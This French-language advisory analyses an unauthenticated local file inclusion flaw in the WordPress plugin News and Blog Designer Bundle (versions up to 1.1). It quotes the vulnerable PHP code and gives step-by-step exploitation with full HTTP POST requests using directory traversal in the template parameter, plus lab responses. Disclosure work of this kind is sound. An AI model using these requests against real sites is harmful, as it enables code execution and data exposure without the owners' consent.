
Le plugin News and Blog Designer Bundle pour WordPress, dans toutes les versions jusqu'à 1.1 inclus, présente une vulnérabilité d'inclusion de fichier local via le paramètre template. Cette vulnérabilité permet à un attaquant non authentifié d'inclure et d'exécuter n'importe quel fichier .php sur le serveur, exécutant ainsi tout code PHP contenu dans ces fichiers. Dans les scénarios où le téléversement et l'inclusion de fichiers de type .php sont autorisés, l'attaquant peut exploiter cette vulnérabilité pour contourner les contrôles d'accès, obtenir des données sensibles ou exécuter du code.
Type de vulnérabilité : Inclusion locale de fichier (Local File Inclusion, LFI)
Version affectée : News and Blog Designer Bundle 1.1 et toutes les versions antérieures
Gravité : Élevée
Complexité de l'attaque : Faible (aucune authentification requise)
La vulnérabilité principale se trouve dans la méthode nbdb_fetch_more_post() du fichier includes/class-nbdb-ajax.php.
sanitize_text_field(extract( $_POST['shrt_param'] ));
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
Problème 1 : Utilisation inappropriée de la fonction extract()
La ligne 31 du code présente un problème grave :
sanitize_text_field(extract( $_POST['shrt_param'] ));
extract() extrait les clés du tableau en tant que noms de variables et leurs valeurs, directement dans la portée couranteextract() est le nombre de variables extraites avec succès (un entier), et non le tableau lui-mêmesanitize_text_field() s'attend à recevoir une chaîne, mais ici elle reçoit un entierProblème 2 : Absence de validation des paramètres
La ligne 33 utilise directement la variable $template pour construire le chemin du fichier :
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template provient de extract($_POST['shrt_param']), entièrement contrôlée par l'entrée utilisateurProblème 3 : Vérification uniquement de l'existence du fichier
La ligne 34 vérifie uniquement si le fichier existe :
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
file_exists() vérifie seulement l'existence du fichier, ne valide pas la légitimité du chemin$template, il peut utiliser ../ pour traverser les répertoiresinclude($template_file) est exécuté, conduisant à l'inclusion de fichiers arbitrairesDans shortcodes/class-nbdb-shortcode.php, toutes les fonctions de gestion des shortcodes utilisent une validation par liste blanche :
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
nbdb_post_template() pour obtenir la liste des modèles autorisés (uniquement template-1 et template-2)array_key_exists()template-1 est utiliséeCela prouve que le développeur sait comment valider correctement les paramètres, mais a omis cette validation dans la fonction AJAX.
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
wp_ajax_ et wp_ajax_nopriv_ sont tous deux enregistréswp_ajax_nopriv_ permet l'accès aux utilisateurs non connectés/wp-admin/admin-ajax.phpaction=nbdb_fetch_more_postshrt_param[template] (par exemple ../../../../wp-config)extract($_POST['shrt_param']), extrayant template en tant que variableNBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'file_exists() retourne trueinclude($template_file), ce qui inclut et exécute le fichier PHP ciblewp-config.php).php (le suffixe .php est codé en dur)include() ; la condition "pouvoir lire" signifie que le fichier PHP inclus doit produire une sortie visible (echo/print/erreur/réponse de protocole), sinon vous ne verrez pas le contenu.POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8
{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}